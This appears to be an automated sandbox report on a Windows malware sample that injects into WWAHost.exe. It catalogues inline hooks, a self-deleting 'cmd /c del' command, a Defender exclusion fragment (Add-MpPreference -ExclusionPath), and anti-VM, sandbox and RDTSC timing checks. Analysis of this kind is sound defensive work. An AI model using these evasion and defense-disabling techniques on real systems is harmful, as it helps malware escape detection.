Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_00417162 push ebp; ret	6_2_00417163
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041D4B5 push eax; ret	6_2_0041D508
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041D56C push eax; ret	6_2_0041D572
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041D502 push eax; ret	6_2_0041D508
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041D50B push eax; ret	6_2_0041D572
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_004165E8 push es; retf	6_2_004165E9
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041CE35 push edi; ret	6_2_0041CE36
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_004176DE push ebp; iretd	6_2_004176A6
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041768B push ebp; iretd	6_2_004176A6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C9D0D1 push ecx; ret	11_2_03C9D0E4
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A27162 push ebp; ret	11_2_00A27163
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2E3EF push esp; ret	11_2_00A2E3F1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2D4B5 push eax; ret	11_2_00A2D508
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A265E8 push es; retf	11_2_00A265E9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2D502 push eax; ret	11_2_00A2D508
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2D50B push eax; ret	11_2_00A2D572
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2D56C push eax; ret	11_2_00A2D572
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2768B push ebp; iretd	11_2_00A276A6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A276DE push ebp; iretd	11_2_00A276A6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2CE35 push edi; ret	11_2_00A2CE36

Source: initial sample

Static PE information: section name: .text entropy: 7.4234449666

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x82 0x2E 0xEC

Self deletion via cmd delete

Show sources

Source: C:\Windows\SysWOW64\WWAHost.exe	Process created: /c del 'C:\Users\user\Desktop\7TupDHKAwm.exe'
Source: C:\Windows\SysWOW64\WWAHost.exe	Process created: /c del 'C:\Users\user\Desktop\7TupDHKAwm.exe'			Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 0.2.7TupDHKAwm.exe.24518b8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7TupDHKAwm.exe PID: 6936, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 7TupDHKAwm.exe, 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 7TupDHKAwm.exe, 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\WWAHost.exe	RDTSC instruction interceptor: First address: 0000000000A19904 second address: 0000000000A1990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\WWAHost.exe	RDTSC instruction interceptor: First address: 0000000000A19B7E second address: 0000000000A19B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\7TupDHKAwm.exe TID: 6940	Thread sleep time: -30939s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe TID: 6972	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe TID: 7024	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WWAHost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Code function: 6_2_00409AB0 rdtsc

6_2_00409AB0

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Thread delayed: delay time: 30939			Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 7TupDHKAwm.exe, 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: 7TupDHKAwm.exe, 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000008.00000000.697632502.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 7TupDHKAwm.exe, 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000008.00000000.722320170.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.697632502.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.690672539.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000008.00000000.705796814.0000000004791000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATA~
Source: explorer.exe, 00000008.00000000.697945168.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000008.00000000.711634982.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: 7TupDHKAwm.exe, 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Code function: 6_2_00409AB0 rdtsc

6_2_00409AB0

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC53CA mov eax, dword ptr fs:[00000030h]	11_2_03CC53CA
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC53CA mov eax, dword ptr fs:[00000030h]	11_2_03CC53CA
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C703E2 mov eax, dword ptr fs:[00000030h]	11_2_03C703E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C703E2 mov eax, dword ptr fs:[00000030h]	11_2_03C703E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C703E2 mov eax, dword ptr fs:[00000030h]	11_2_03C703E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C703E2 mov eax, dword ptr fs:[00000030h]	11_2_03C703E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C703E2 mov eax, dword ptr fs:[00000030h]	11_2_03C703E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C703E2 mov eax, dword ptr fs:[00000030h]	11_2_03C703E2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6DBE9 mov eax, dword ptr fs:[00000030h]	11_2_03C6DBE9
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C51B8F mov eax, dword ptr fs:[00000030h]	11_2_03C51B8F
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C51B8F mov eax, dword ptr fs:[00000030h]	11_2_03C51B8F
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CFD380 mov ecx, dword ptr fs:[00000030h]	11_2_03CFD380
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72397 mov eax, dword ptr fs:[00000030h]	11_2_03C72397
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7B390 mov eax, dword ptr fs:[00000030h]	11_2_03C7B390
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0138A mov eax, dword ptr fs:[00000030h]	11_2_03D0138A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C74BAD mov eax, dword ptr fs:[00000030h]	11_2_03C74BAD
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C74BAD mov eax, dword ptr fs:[00000030h]	11_2_03C74BAD
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C74BAD mov eax, dword ptr fs:[00000030h]	11_2_03C74BAD
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D15BA5 mov eax, dword ptr fs:[00000030h]	11_2_03D15BA5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4DB40 mov eax, dword ptr fs:[00000030h]	11_2_03C4DB40
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D18B58 mov eax, dword ptr fs:[00000030h]	11_2_03D18B58
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4F358 mov eax, dword ptr fs:[00000030h]	11_2_03C4F358
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4DB60 mov ecx, dword ptr fs:[00000030h]	11_2_03C4DB60
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C73B7A mov eax, dword ptr fs:[00000030h]	11_2_03C73B7A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C73B7A mov eax, dword ptr fs:[00000030h]	11_2_03C73B7A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0131B mov eax, dword ptr fs:[00000030h]	11_2_03D0131B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72ACB mov eax, dword ptr fs:[00000030h]	11_2_03C72ACB
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72AE4 mov eax, dword ptr fs:[00000030h]	11_2_03C72AE4
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7D294 mov eax, dword ptr fs:[00000030h]	11_2_03C7D294
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7D294 mov eax, dword ptr fs:[00000030h]	11_2_03C7D294
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C452A5 mov eax, dword ptr fs:[00000030h]	11_2_03C452A5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C452A5 mov eax, dword ptr fs:[00000030h]	11_2_03C452A5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C452A5 mov eax, dword ptr fs:[00000030h]	11_2_03C452A5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C452A5 mov eax, dword ptr fs:[00000030h]	11_2_03C452A5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C452A5 mov eax, dword ptr fs:[00000030h]	11_2_03C452A5
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5AAB0 mov eax, dword ptr fs:[00000030h]	11_2_03C5AAB0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5AAB0 mov eax, dword ptr fs:[00000030h]	11_2_03C5AAB0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7FAB0 mov eax, dword ptr fs:[00000030h]	11_2_03C7FAB0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49240 mov eax, dword ptr fs:[00000030h]	11_2_03C49240
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49240 mov eax, dword ptr fs:[00000030h]	11_2_03C49240
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49240 mov eax, dword ptr fs:[00000030h]	11_2_03C49240
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49240 mov eax, dword ptr fs:[00000030h]	11_2_03C49240
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0EA55 mov eax, dword ptr fs:[00000030h]	11_2_03D0EA55
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CD4257 mov eax, dword ptr fs:[00000030h]	11_2_03CD4257
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CFB260 mov eax, dword ptr fs:[00000030h]	11_2_03CFB260
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CFB260 mov eax, dword ptr fs:[00000030h]	11_2_03CFB260
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C8927A mov eax, dword ptr fs:[00000030h]	11_2_03C8927A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D18A62 mov eax, dword ptr fs:[00000030h]	11_2_03D18A62
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0AA16 mov eax, dword ptr fs:[00000030h]	11_2_03D0AA16
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0AA16 mov eax, dword ptr fs:[00000030h]	11_2_03D0AA16
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C58A0A mov eax, dword ptr fs:[00000030h]	11_2_03C58A0A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4AA16 mov eax, dword ptr fs:[00000030h]	11_2_03C4AA16
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4AA16 mov eax, dword ptr fs:[00000030h]	11_2_03C4AA16
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C45210 mov eax, dword ptr fs:[00000030h]	11_2_03C45210
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C45210 mov ecx, dword ptr fs:[00000030h]	11_2_03C45210
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C45210 mov eax, dword ptr fs:[00000030h]	11_2_03C45210
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C45210 mov eax, dword ptr fs:[00000030h]	11_2_03C45210
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C63A1C mov eax, dword ptr fs:[00000030h]	11_2_03C63A1C
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C84A2C mov eax, dword ptr fs:[00000030h]	11_2_03C84A2C
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C84A2C mov eax, dword ptr fs:[00000030h]	11_2_03C84A2C
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A229 mov eax, dword ptr fs:[00000030h]	11_2_03C6A229
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CD41E8 mov eax, dword ptr fs:[00000030h]	11_2_03CD41E8
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4B1E1 mov eax, dword ptr fs:[00000030h]	11_2_03C4B1E1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4B1E1 mov eax, dword ptr fs:[00000030h]	11_2_03C4B1E1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4B1E1 mov eax, dword ptr fs:[00000030h]	11_2_03C4B1E1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7A185 mov eax, dword ptr fs:[00000030h]	11_2_03C7A185
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6C182 mov eax, dword ptr fs:[00000030h]	11_2_03C6C182
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72990 mov eax, dword ptr fs:[00000030h]	11_2_03C72990
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C761A0 mov eax, dword ptr fs:[00000030h]	11_2_03C761A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C761A0 mov eax, dword ptr fs:[00000030h]	11_2_03C761A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC69A6 mov eax, dword ptr fs:[00000030h]	11_2_03CC69A6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC51BE mov eax, dword ptr fs:[00000030h]	11_2_03CC51BE
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC51BE mov eax, dword ptr fs:[00000030h]	11_2_03CC51BE
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC51BE mov eax, dword ptr fs:[00000030h]	11_2_03CC51BE
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC51BE mov eax, dword ptr fs:[00000030h]	11_2_03CC51BE
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D049A4 mov eax, dword ptr fs:[00000030h]	11_2_03D049A4
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D049A4 mov eax, dword ptr fs:[00000030h]	11_2_03D049A4
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D049A4 mov eax, dword ptr fs:[00000030h]	11_2_03D049A4
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D049A4 mov eax, dword ptr fs:[00000030h]	11_2_03D049A4
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6B944 mov eax, dword ptr fs:[00000030h]	11_2_03C6B944
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6B944 mov eax, dword ptr fs:[00000030h]	11_2_03C6B944
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4C962 mov eax, dword ptr fs:[00000030h]	11_2_03C4C962
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4B171 mov eax, dword ptr fs:[00000030h]	11_2_03C4B171
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4B171 mov eax, dword ptr fs:[00000030h]	11_2_03C4B171
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49100 mov eax, dword ptr fs:[00000030h]	11_2_03C49100
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49100 mov eax, dword ptr fs:[00000030h]	11_2_03C49100
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49100 mov eax, dword ptr fs:[00000030h]	11_2_03C49100
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C64120 mov eax, dword ptr fs:[00000030h]	11_2_03C64120
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C64120 mov eax, dword ptr fs:[00000030h]	11_2_03C64120
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C64120 mov eax, dword ptr fs:[00000030h]	11_2_03C64120
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C64120 mov eax, dword ptr fs:[00000030h]	11_2_03C64120
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C64120 mov ecx, dword ptr fs:[00000030h]	11_2_03C64120
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7513A mov eax, dword ptr fs:[00000030h]	11_2_03C7513A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7513A mov eax, dword ptr fs:[00000030h]	11_2_03C7513A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDB8D0 mov eax, dword ptr fs:[00000030h]	11_2_03CDB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDB8D0 mov ecx, dword ptr fs:[00000030h]	11_2_03CDB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDB8D0 mov eax, dword ptr fs:[00000030h]	11_2_03CDB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDB8D0 mov eax, dword ptr fs:[00000030h]	11_2_03CDB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDB8D0 mov eax, dword ptr fs:[00000030h]	11_2_03CDB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CDB8D0 mov eax, dword ptr fs:[00000030h]	11_2_03CDB8D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C440E1 mov eax, dword ptr fs:[00000030h]	11_2_03C440E1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C440E1 mov eax, dword ptr fs:[00000030h]	11_2_03C440E1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C440E1 mov eax, dword ptr fs:[00000030h]	11_2_03C440E1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C458EC mov eax, dword ptr fs:[00000030h]	11_2_03C458EC
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C49080 mov eax, dword ptr fs:[00000030h]	11_2_03C49080
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC3884 mov eax, dword ptr fs:[00000030h]	11_2_03CC3884
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CC3884 mov eax, dword ptr fs:[00000030h]	11_2_03CC3884
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C890AF mov eax, dword ptr fs:[00000030h]	11_2_03C890AF
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0 mov eax, dword ptr fs:[00000030h]	11_2_03C720A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0 mov eax, dword ptr fs:[00000030h]	11_2_03C720A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0 mov eax, dword ptr fs:[00000030h]	11_2_03C720A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0 mov eax, dword ptr fs:[00000030h]	11_2_03C720A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0 mov eax, dword ptr fs:[00000030h]	11_2_03C720A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0 mov eax, dword ptr fs:[00000030h]	11_2_03C720A0
